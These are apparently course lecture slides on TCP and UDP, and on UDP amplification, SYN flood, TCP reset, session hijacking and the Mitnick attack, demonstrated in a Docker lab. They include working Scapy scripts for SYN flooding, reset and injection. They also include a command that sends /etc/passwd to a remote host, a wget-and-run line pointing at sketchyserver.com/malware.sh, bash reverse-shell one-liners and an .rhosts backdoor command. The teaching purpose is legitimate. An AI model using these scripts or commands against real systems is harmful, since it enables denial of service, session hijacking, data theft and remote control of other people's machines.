# Contents [Overview](#/overview) [UDP & Attacks](#/udp) [TCP](#/tcp) [TCP SYN Flood Attack](#/syn-flood) [TCP Reset Attack](#/reset-attack) [TCP Session Hijacking](#/hijacking) [The Mitnick Attack](#/mitnick-attack)
# Overview
Protocol stack: transport layer
- Is charged with taking a large piece of data, splitting it into smaller packets, sending each packet to the destination (via the next layer down), and (maybe) reassembling it at the destination - It might request a missed packet to be re-sent - Example protocols: TCP, UDP ## Network Data Flow
## Transport tasks to solve - Which application receives the data - Splitting a large file into smaller packets - Handling a lost packet - Handling packet order - Handling packets arriving too fast - Encryption (TLS) TCP handles all of these; UDP usually only handles the first one
Transport Control Protocol (TCP)
- This is the TCP/IP version of the OSI transport layer - TCP will ensure any lost packet is re-sent: used for sending files [![TCP header](images/networking/tcp-header.webp)](https://commons.wikimedia.org/wiki/File:TCP_header.png)
User Datagram Protocol (UDP)
- UDP doesn't bother resending a missed packet - If one doesn't arrive, it will continue on: used for live streams [![TCP header](https://upload.wikimedia.org/wikipedia/commons/0/0c/UDP_header.png)](https://commons.wikimedia.org/wiki/File:UDP_header.png) ## UDP & TCP comparison - UDP properties - Lighter weight: less information in the packet header, less work to do in the network stack - If you care about the packet order, you have to implement that - Used in *real-time* streaming (not movies!) - TCP properties - The only choice when you want a guarantee that the original file/data sent will arrive in the same form - Heavier weight, both in packet size and computation needed to send/receive packets ## Ports ![](images/packets/etc-services.webp) - A *port* is a way to connect to a given service (program) on a host - A way for the OS kernel to figure out which service a network connection wants - Anybody can open up unprivileged ports - Well known ports are listed in /etc/services - Port ranges: - 0-1,023: system reserved, well-known - 1,024-49,151: application specific - 49,152-65,535: private ports ## TCP vs UDP in Python To open a TCP connection: ``` tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ``` To open a UDP connection: ``` udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ``` Only the last parameter is different ## TCP vs UDP in Python TCP connecting to a port and sending data: ``` tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.connect("123.456.78.9",1234) tcp_sock.sendall(b'hello world') ``` UDP connecting to a port and sending data: ``` udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(b'hello world', ("123.456.78.9",PORT)) ``` Use `sendall()` for TCP sockets, and `sendto()` for UDP sockets
# UDP & Attacks
User Datagram Protocol (UDP)
- UDP doesn't bother resending a missed packet - If one doesn't arrive, it will continue on: used for live streams [![TCP header](https://upload.wikimedia.org/wikipedia/commons/0/0c/UDP_header.png)](https://commons.wikimedia.org/wiki/File:UDP_header.png) ## UDP Attacks - UDP packets do not require setting up a connection first - Basic idea: have the attacker request data from B - But spoof the return address to be of A - This can be a denial of service attack against A ![](http://www.cs.virginia.edu/~asb2t/duimg/n05/image5.png) ## UDP Fraggle Attack ![](http://www.cs.virginia.edu/~asb2t/duimg/n05/image6.png) - Attacker sends a spoofed packet to B, claiming to be from A - Options: - Have the return be the broadcast address (usually don't work anymore) - Have the data be a live stream (lots of data) - Like the Smurf attack - Defense: prevent a non-local machine from sending to the broadcast address ## UDP Ping Pong Attack ![](http://www.cs.virginia.edu/~asb2t/duimg/n05/image7.png) - Some servers send a reply once the UDP packet is received - Prior to any inspection - So start a back-and-forth between two servers - Good quality software does not do this - But there is lots of bad software out there... - Also called a grenade attack - Defense: better quality software that checks the packet before sending the reply ## UDP Ping Pong Server ```python udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp.bind(("0.0.0.0", 9090)) while True: data, (ip, port) = udp.recvfrom(1024) print ("From {}:{}: {}".format(ip, port, str(data, 'utf-8'))) # Send back a "thank you" note udp.sendto(b'Thank you!\n', (ip, port)) ``` To start it off: ```python ip = IP(src="10.9.0.5", dst="10.9.0.6") udp = UDP(sport=9090, dport=9090) data = "Let the Ping Pong game start!\n" pkt = ip/udp/data send(pkt, verbose=0) ``` ## UDP Amplification Attack ![](http://www.cs.virginia.edu/~asb2t/duimg/n05/image13.png) - Send a spoofed packet such that the response is much larger than the request - A 2014 study showed that: - Some servers could magnify the bandwidth by a factor of 4,670 - Millions of servers were vulnerable to this - Also called a missile attack - Defense: require some verification from the receiver that they sent the request
# TCP
Transport Control Protocol (TCP)
- TCP will ensure any lost packet is re-sent: used for sending files [![TCP header](images/networking/tcp-header.webp)](https://commons.wikimedia.org/wiki/File:TCP_header.png) ## TCP Flags [![TCP header](images/networking/tcp-header.webp)](https://commons.wikimedia.org/wiki/File:TCP_header.png) - URG: urgent, send with greater priority - ACK: acknowledgement is in the appropriate field - PSH: push data out immediately, rather than waiting for a full buffer or packet - RST: reset connection - SYN: synchronize, sequence number field has value - FIN: finish (or finalize) the connection ## TCP Client ``` tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp.connect(('192.168.100.102', 9090)) # outer2 tcp.sendall(b"Hello Server!\n") tcp.sendall(b"Hello Again!\n") tcp.close() ``` Run a server with `nc -lnv 9090`: ``` root@outer2:/# nc -lnv 9090 Listening on 0.0.0.0 9090 Connection received on 192.168.100.101 33836 Hello Server! Hello Again! root@outer2:/# ``` - `nc` exits when the connection is closed by client - `-lnv` options: listen to port, use numeric IPs, be verbose ## TCP Server ``` tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp.bind(("0.0.0.0", 9090)) tcp.listen() # does not block conn, addr = tcp.accept() # does block with conn: print('Connected by', addr) while True: data = conn.recv(1024) if not data: break print(data) conn.sendall(b"Got the data!\n") ``` Multiple connections are often handled via threading ## Sequence numbers [![TCP header](images/networking/tcp-header.webp)](https://commons.wikimedia.org/wiki/File:TCP_header.png) - Initial one set when the SYN flag is true - Initial one is *random* - Why? ## TCP Open Connection ![](images/graphs/tcp_open.webp) - The client sends a packet with SYN set to true - The *random* sequence number is in the sequence field - The server responds with SYN and ACK set to true - Acknowledges client's sequence number - Gives its own random sequence number - The client acknowledges the server's sequence number ## TCP Close Connection ![](images/graphs/tcp_close.webp) - Both sides send a FIN (finished or final), followed by an acknowledgement - If not sent, the connection will timeout eventually - A "heartbeat" message can be sent to keep a connection open
# TCP SYN Flood Attack
## TCP SYN Flood ![](images/graphs/tcp_syn_attack.webp) - Client sends initial SYN - Server sends SYN-ACK - Client doesn't respond - This has a half-open connection - It will time out after some time - But the client can flood this during that time - Can be as long as 40 seconds - Servers have a finite number of connections they can have open - This will rapidly fill it up, causing a denial of service attack
## TCP SYN Flood ``` from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits ip = IP(dst="192.168.200.3") # target tcp = TCP(dport=23, flags='S') # set SYN flag pkt = ip/tcp while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, verbose = 0) ``` ## TCP SYN Flood - Victim: *inner* container; attacker: *outer1* container - `netstat -tna` options: show TCP, numeric ports, all connections - Before: ``` root@inner:/# netstat -tna Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.11:37869 0.0.0.0:* LISTEN tcp6 0 0 :::22 :::* LISTEN root@inner:/# ``` - After: ``` root@inner:/# netstat -tna | wc -l 134 root@inner:/# ``` ## TCP SYN Flood - After: ``` root@inner:/# netstat -tna | head Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.11:37869 0.0.0.0:* LISTEN tcp 0 0 192.168.200.3:22 157.2.61.212:19377 SYN_RECV tcp 0 0 192.168.200.3:22 150.245.31.253:43130 SYN_RECV tcp 0 0 192.168.200.3:22 63.131.251.145:8763 SYN_RECV tcp 0 0 192.168.200.3:22 19.210.38.12:12311 SYN_RECV tcp 0 0 192.168.200.3:22 103.25.66.18:30063 SYN_RECV ... tcp 0 0 192.168.200.3:22 145.138.123.196:64028 SYN_RECV tcp 0 0 192.168.200.3:22 186.69.148.85:52252 SYN_RECV tcp 0 0 192.168.200.3:22 243.223.132.14:18120 SYN_RECV tcp 0 0 192.168.200.3:22 52.199.88.114:59992 SYN_RECV tcp 0 0 192.168.200.3:22 82.46.211.86:12211 SYN_RECV tcp6 0 0 :::22 :::* LISTEN ``` ## TCP SYN Attack Analysis - *inner* only reached 130 SYN attack connections - Why so few? - Python is slooooooow; C/C++ would be much faster - TCP cache: the kernel remembers machines that previously connected, and may allow them through - TCP retransmission: the SYN-ACK is retransmitted a few times, then it's dropped - SYN queue size: much larger than Python's speed - RST packets: Docker sends back RST (reset) packets - Docker networking is "off" ## SYN Attack Defenses [![](https://upload.wikimedia.org/wikipedia/commons/thumb/f/f1/2ChocolateChipCookies.jpg/1024px-2ChocolateChipCookies.jpg)](https://commons.wikimedia.org/wiki/File:2ChocolateChipCookies.jpg) - Easy solution: don't allocate a connection until after the final ACK of the handshake - Problem: doing that opens a new attack: ACK flooding - Solution: SYN cookies - Have the sequence numbers be *generated* algorithmicly (hash of the packet data) - When a SYN or ACK comes in, regenerate the sequence number, and see if they sent 1 more - Prevents ACK flooding ## Pause here... - Pause here, and go back to the [Wireshark slide column](packets.html#/wshark) in the [Packet Sniffing and Spoofing](packets.html#/) slide set
# TCP Reset Attack
## TCP Close Connection ![](images/graphs/tcp_close.webp) - Recall the handshake for terminating the connection - There are two other ways to terminate a connection: - A timeout if one side does not respond in time - If one side sends a RST (reset) packet - RST is like hanging up the phone without saying goodbye ## RST legitimate uses [![](https://upload.wikimedia.org/wikipedia/commons/c/cf/Nintendo-Super-Famicom-Console-FL_%28Reset_Button%29.jpg)](https://commons.wikimedia.org/wiki/File:Nintendo-Super-Famicom-Console-FL_(Reset_Button).jpg) - If there is no time for the FIN-ACK,FIN-ACK handshake - If an error is detected - In a SYN flood - Computer A sends a SYN flood packet to server B, spoofing C - When B sends a response to C, C sends back an RST packet - As it realized that it never initiated the connection with server B - Notably, there is no ACK sent to a RST, nor is one expected ## TCP Reset Attack ![](images/graphs/tcp_reset_attack.webp) - Any party can send a RST packet to break an existing TCP connection - Must get five values correct: - Source & destination IP - Source & destination port - Sequence number - Sequence number is hard, but not impossible - Anything within the window is likely valid - Depending on the network stack implementation ## TCP Sequence Numbers - Sequence numbers are not actually sequential - Instead, they add the length of the data of the last packet to the sequence number - So large packets increase the sequence number by a lot more than small packets - This range forms a "window" - Hitting enter on a telnet session sends two bytes - The enter byte (`\n`) and a control byte - `tcpdump` normally shows the *relative* sequence numbers - To make `tcpdump` show the absolute sequence numbers, add the flag: `--absolute-tcp-sequence-numbers` ## TCP Reset Attack Pcaps - [rst.pcap](https://kb.mazebolt.com/wp-content/uploads/2018/11/rst.pcap), from [MazeBolt](https://kb.mazebolt.com/knowledgebase/rst-flood/), uses random guesses at the sequence numbers ## TCP Reset Attack Code If *outer1* has a telnet connection to *metasploit*, this will work. ```python import sys from scapy.all import * ip = IP(src="192.168.100.101", dst="192.168.100.3") tcp = TCP(dport=23, sport=int(sys.argv[1]), flags="R", seq=int(sys.argv[2])) pkt = ip/tcp ls(pkt) send(pkt,verbose=0) ``` - Note that due to how Docker simulates networks, the attack may only work only from *outer1*, and not from, say, *outer2* ## TCP Reset Attack ``` root@outer1:/# tcpdump -i eth1 --absolute-tcp-sequence-numbers port telnet 15:24:24.290756 IP outer1.47658 > metasploit.telnet: Flags [P.], seq 2304951623:2304951625, ack 1773068003, win 501, options [nop,nop,TS val 593972636 ecr 48654356], length 2 15:24:24.291824 IP metasploit.telnet > outer1.47658: Flags [P.], seq 1773068003:1773068005, ack 2304951625, win 509, options [nop,nop,TS val 48662585 ecr 593972636], length 2 15:24:24.291861 IP outer1.47658 > metasploit.telnet: Flags [.], ack 1773068005, win 501, options [nop,nop,TS val 593972638 ecr 48662585], length 0 15:24:24.294358 IP metasploit.telnet > outer1.47658: Flags [P.], seq 1773068005:1773068028, ack 2304951625, win 509, options [nop,nop,TS val 48662587 ecr 593972638], length 23 15:24:24.294386 IP outer1.47658 > metasploit.telnet: Flags [.], ack 1773068028, win 501, options [nop,nop,TS val 593972640 ecr 48662587], length 0 root@outer1:/# mnt/tcp_reset.py 47658 2304951625
15:24:39.110993 IP outer1.47658 > metasploit.telnet: Flags [R], seq 2304951625, win 8192, length 0 15:24:43.639948 IP outer1.47658 > metasploit.telnet: Flags [P.], seq 2304951625:2304951627, ack 1773068028, win 501, options [nop,nop,TS val 593991986 ecr 48662587], length 2 15:24:43.640010 IP metasploit.telnet > outer1.47658: Flags [R], seq 1773068028, win 0, length 0 ``` See the [pcap](pcaps/tcp_reset.pcap); the telnet session: ``` msfadmin@metasploit:~$ msfadmin@metasploit:~$ Connection closed by foreign host. root@outer1:/# ``` ## TCP Reset Attack Output ``` version : BitField (4 bits) = 4 ('4') ihl : BitField (4 bits) = None ('None') tos : XByteField = 0 ('0') len : ShortField = None ('None') id : ShortField = 1 ('1') flags : FlagsField =
('
') frag : BitField (13 bits) = 0 ('0') ttl : ByteField = 64 ('64') proto : ByteEnumField = 6 ('0') chksum : XShortField = None ('None') src : SourceIPField = '192.168.100.101' ('None') dst : DestIPField = '192.168.100.3' ('None') options : PacketListField = [] ('[]') -- sport : ShortEnumField = 47658 ('20') dport : ShortEnumField = 23 ('80') seq : IntField = 2304951625 ('0') ack : IntField = 0 ('0') dataofs : BitField (4 bits) = None ('None') reserved : BitField (3 bits) = 0 ('0') flags : FlagsField =
('
') window : ShortField = 8192 ('8192') chksum : XShortField = None ('None') urgptr : ShortField = 0 ('0') options : TCPOptionsField = [] ("b''") ```
Reset Attack Success and Failure
- Will not really work if the TCP packet is encrypted at the network layer (via, say, IPsec) - Not feasible to get the sequence number or client port - Will work via ssh, since that uses TLS to encrypt (transport layer) - Video streaming: it's complicated - We have to get the sequence number before the next packet arrives - The next packet won't wait for us like the telnet session did
TCP Reset versus video streaming
```python from scapy.all import * def spoof_tcp(pkt): ip = IP(dst=..., src=pkg[IP].dst) tcp = TCP(flags="R", seq=pkt[TCP].ack, dport=pkg[TCP].sport, sport=pkt[TCP].dport) send(ip/tcp, verbose=0) sniff(filter='tcp and src host ...', prn=spoof_tcp) ``` - This reads the incoming packet, and adjusts the sequence number appropriately - It's Python, so it may not be fast enough - This only sometimes works... - The video playing software (Javascript) can often recover from a disconnect - Buffering of the video prevents a noticeable lag
# TCP Session Hijacking
## TCP Session Identification
- After a TCP connection is established, the server has to keep this session separate from all others it has open - It uses four values: - Source & destination IP - Source & destination port - If we can spoof these values, our TCP packet will be assigned to that session ## TCP Session Injection
- Packets can arrive out of order, and TCP reassembles them in order - The next packet would be at $x+1$; we send a spoofed packet putting the data at $x+\delta$ - Once the rest of the packet data arrives, the sender's data, plus our malicious data, is passed to the program
Redirecting output to the network
- We can write output to `/dev/tcp/(ip)/(port)`, and it will be sent, via TCP, to that host and port. - On outer1, run `nc -lnv 4760`. On outer2:
root@outer2:/# cat /etc/passwd > /dev/tcp/192.168.100.101/4760 root@outer2:/#
On outer1: ```shell root@outer1:/# nc -lnv 4760 Listening on 0.0.0.0 4760 Connection received on 192.168.100.102 58610 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... tcpdump:x:108:110::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin root@outer1:/# ``` ## Preparing the attack - *metasploit* is to old a Linux version to allow writing to `/dev/tcp/(ip)/(port)` - Actual session hijacking would require a very fast response, and Python is too slow - So we'll settle for injection instead - And we'll use `nc` to pretend to be a telnet server - Once we start telnet, we hit Enter twice to see the packet SEQ/ACK progression ## The code - This injects "hello world" in a telnet session from outer1 to outer3 ```python import sys from scapy.all import * ip = IP(src="192.168.100.101", dst="192.168.100.103") tcp = TCP(dport=23, sport=int(sys.argv[1]), flags="A", seq=int(sys.argv[2]), ack=int(sys.argv[3])) data = '\nhello world\n' pkt = ip/tcp/data ls(pkt) send(pkt,verbose=0) ``` - In `nc`, it will just display; in `telnet` it would execute a command such as: ``` cat /etc/passwd > /dev/tcp/192.168.100.101/4760 ``` ## tcpdump on *outer1* ``` 19:29:54.034748 IP outer1.44214 > outer3.telnet: Flags [P.], seq 2870849840:2870849842, ack 1750764355, win 502, options [nop,nop,TS val 3447989197 ecr 1367377258], length 2 19:29:54.034803 IP outer3.telnet > outer1.44214: Flags [.], ack 2870849842, win 509, options [nop,nop,TS val 1367523134 ecr 3447989197], length 0 19:29:57.340297 IP outer1.44214 > outer3.telnet: Flags [P.], seq 2870849842:2870849844, ack 1750764355, win 502, options [nop,nop,TS val 3447992502 ecr 1367523134], length 2 19:29:57.340422 IP outer3.telnet > outer1.44214: Flags [.], ack 2870849844, win 509, options [nop,nop,TS val 1367526439 ecr 3447992502], length 0 root@outer1:/mnt# ./tcp_session_hijack.py 44214 2870849844 1750764355
19:30:14.946774 IP outer1.44214 > outer3.telnet: Flags [.], seq 2870849844:2870849857, ack 1750764355, win 8192, length 13 19:30:14.946799 IP outer3.telnet > outer1.44214: Flags [.], ack 2870849857, win 509, options [nop,nop,TS val 1367544046 ecr 3447992502], length 0 ``` On outer3: ``` root@outer3:/# nc -lnv 23 Listening on 0.0.0.0 23 Connection received on 192.168.100.101 44214 ???????? ??!??"??'????# hello world ``` ## TCP Injection Attack Output ``` version : BitField (4 bits) = 4 ('4') ihl : BitField (4 bits) = None ('None') tos : XByteField = 0 ('0') len : ShortField = None ('None') id : ShortField = 1 ('1') flags : FlagsField =
('
') frag : BitField (13 bits) = 0 ('0') ttl : ByteField = 64 ('64') proto : ByteEnumField = 6 ('0') chksum : XShortField = None ('None') src : SourceIPField = '192.168.100.101' ('None') dst : DestIPField = '192.168.100.103' ('None') options : PacketListField = [] ('[]') -- sport : ShortEnumField = 44214 ('20') dport : ShortEnumField = 23 ('80') seq : IntField = 2870849844 ('0') ack : IntField = 1750764355 ('0') dataofs : BitField (4 bits) = None ('None') reserved : BitField (3 bits) = 0 ('0') flags : FlagsField =
('
') window : ShortField = 8192 ('8192') chksum : XShortField = None ('None') urgptr : ShortField = 0 ('0') options : TCPOptionsField = [] ("b''") -- load : StrField = b'\nhello world\n' ("b''") ``` ## Hijacking instead of injection - In actual telnet, the connection would freeze, as the acknowledgement numbers are now wrong - The server sends an ACK to $x+\delta$ (however far forward) - But the client never sent $x+\delta$ (the attacker did), so ignores it - And ignores all future packets - Because the client never acknowledges the packet, the server thinks it is lost - And retransmits it, to the same effect ## Hijacking instead of injection
## Better injection / hijacking - Rather than cat'ing output to the /dev device... - Let's run a program to remotely run commands on the machine - Your ping shell from HW P2 would work - Have a single command download the program and also run it: ``` wget -q -O /usr/bin/pwn.sh http://sketchyserver.com/malware.sh && \ /bin/bash /usr/bin/pwn.sh ``` ## Reverse Shell - A normal remote shell, such as telnet or ssh, has the client connecting to the server - In a *reverse* shell, the roles are reversed - The server, usually through an exploit, initiates a connection to the client (attacker) - The attacker can then execute commands on the server - Here is a [list of some reverse shells](https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/) - Here is a [list of even more reverse shells](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) ## More Reverse Shells - We could use: ``` /bin/bash -i > /dev/tcp/(ip)/(port) ``` - But that only redirects stdout; to redirect stderr also: ``` /bin/bash -i > /dev/tcp/(ip)/(port) 2>&1 ``` - To also handle stdin: ``` /bin/bash -i > /dev/tcp/(ip)/(port) 2>&1 0<&1 ``` - Then run `nc -lnv (port)` on the other machine - I couldn't get it to work...
# The Mitnick Attack
## Kevin Mitnick (1963-2023) [![](https://upload.wikimedia.org/wikipedia/commons/thumb/d/d5/Kevin_Mitnick_ex_hacker_y_ahora_famoso_consultor_en_redes_en_Campus_Party_México_2010.jpg/1024px-Kevin_Mitnick_ex_hacker_y_ahora_famoso_consultor_en_redes_en_Campus_Party_México_2010.jpg)](https://commons.wikimedia.org/wiki/File:Kevin_Mitnick_ex_hacker_y_ahora_famoso_consultor_en_redes_en_Campus_Party_México_2010.jpg) - Computer hacker, convicted felon - Was on the run from 1992 on a previous charge - In 1994, he hacked into a phone system using the *Mitnick Attack* - Arrested in Feb 1995, sentenced to 5 years in jail ## rlogin - Developed in 1982, it allowed easy remote execution of commands over a network from a *trusted* computer - Like telnet: username and password in clear text - But you can run commands directly (rsh), copy files (rcp), etc. - Now replaced by ssh and certificate logins - An `~/.rhosts` file specified who could log in *without* a password ## Mitnick Attack - Target was "X-Terminal", ostensibly coming from a trusted server - Owned by Tsutomu Shimomura, who had software that Mitnick wanted - Has 4 steps: 1. Sequence number prediction 2. SYN flooding the server 3. Spoofing a TCP connection 4. Running a remote shell - This was in 1994, so many of the OS defenses of today were not present
Step 1: Sequence num prediction
- TCP initial sequence numbers (ISNs) were not random back then - To learn the pattern: - Send a SYN packet - Server sends back a SYN-ACK, with a sequence number - Send a RST to keep this from being a SYN flood attack - From this he was able to learn the pattern ## Step 2: SYN flood the server - Goal was to establish a TCP connection with the X-Terminal - Send a SYN, spoof it from the server - X-Terminal sends a SYN-ACK to the server - Server didn't initiate it, so sends a RST - Thus, we have to stop the server from responding - Method: SYN flood the server - SYN flood defenses were not very capable back then ## Step 3: Spoof a TCP connection - Shimomura often logged in to X-Terminal from the server without a password - Via his .rhosts entry - So we have to start a TCP connection - From step 2, X-Terminal sent a SYN-ACK - But we need the sequence number - Mitnick determined the pattern of sequence numbers in step 1 - So he was able to spoof the ACK ## Step 4: Running a remote shell - The remote command: ``` echo "+ +" >> ~/.rhosts ``` - This allows *anybody* to log in without a password - He was able to get the files he wanted - And was arrested the next year ## Why we go over this attack
- This attack was quite complex, and happened *30 years ago* - OSes have better defenses these days, true - But attackers have had 30 years to sharpen their attacks And they made a movie about it...